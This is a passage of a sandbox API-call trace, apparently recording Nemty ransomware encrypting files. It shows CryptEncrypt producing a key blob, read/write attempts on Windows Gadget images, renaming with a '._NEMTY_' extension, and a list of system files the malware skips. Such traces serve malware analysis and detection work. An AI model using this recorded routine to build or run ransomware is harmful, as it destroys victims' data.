dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0160.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_foggy.png", lpUsedDefaultChar=0x0) returned 22 [0160.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_foggy.png", lpUsedDefaultChar=0x0) returned 22 [0160.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0160.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0160.274] Sleep (dwMilliseconds=0x5) [0160.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x132f94d0, dwHighDateTime=0x1d561e8)) [0160.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x132f94d0, dwHighDateTime=0x1d561e8)) [0160.288] GetLastError () returned 0x5 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.288] GetLastError () returned 0x5 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.288] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.288] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.288] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0160.288] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="1EeLCKjYOIRzefcc/bFHDi5fC40SD+MyXD6uWfzkL3e+obtmYpdOW8qTwhbAJnld\r\nDJTk81Pch0MBBQQ9NQix5jobiuWeNyD9vBkSj7oCDIex/PJ1Bcx00tlXSEsffx29\r\n37BhMQYW4i5Zh9qQTX1kd+HqZ85A36/w8ZFcRBW66yCaJyt3/8rKMbRB3MU0XgEd\r\nawyu8fbo/doDXecUiy4F831eZTocwq+LNtwnj08Lh/nQ9ULcpbTQAmWBCx20aetJ\r\niweMawPhdN8cn1bfo0F81+PeSJX/KGE+rRQCwoHrkLNFyJYyMb/cppx0rIWR3OP0\r\nNUtnlu2Cki4YZp4DtjfzLQ==\r\n", pcchString=0x653e91c) returned 1 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0160.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.288] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_foggy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.289] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.395] CloseHandle (hObject=0xffffffff) returned 0 [0160.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0160.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0160.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_foggy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_foggy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_foggy.png._nemty_kgobjgd_")) returned 0 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.396] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_hail.png", cAlternateFileName="")) returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2=".") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="..") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="...") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="windows") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="$RECYCLE.BIN") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="rsa") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="NTDETECT.COM") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="ntldr") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="MSDOS.SYS") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="IO.SYS") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="boot.ini") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="boot.ini") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="ntuser.dat") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="desktop.ini") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="CONFIG.SYS") returned 1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="RECYCLER") returned -1 [0160.396] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="BOOTSECT.BAK") returned 1 [0160.397] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="bootmgr") returned 1 [0160.397] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="programdata") returned -1 [0160.397] lstrcmpiW (lpString1="docked_black_hail.png", lpString2="appdata") returned 1 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_hail.png", lpUsedDefaultChar=0x0) returned 21 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_hail.png", lpUsedDefaultChar=0x0) returned 21 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_hail.png", lpUsedDefaultChar=0x0) returned 21 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_hail.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_hail.png", lpUsedDefaultChar=0x0) returned 21 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0160.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0160.397] Sleep (dwMilliseconds=0x5) [0160.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13429fd0, dwHighDateTime=0x1d561e8)) [0160.413] 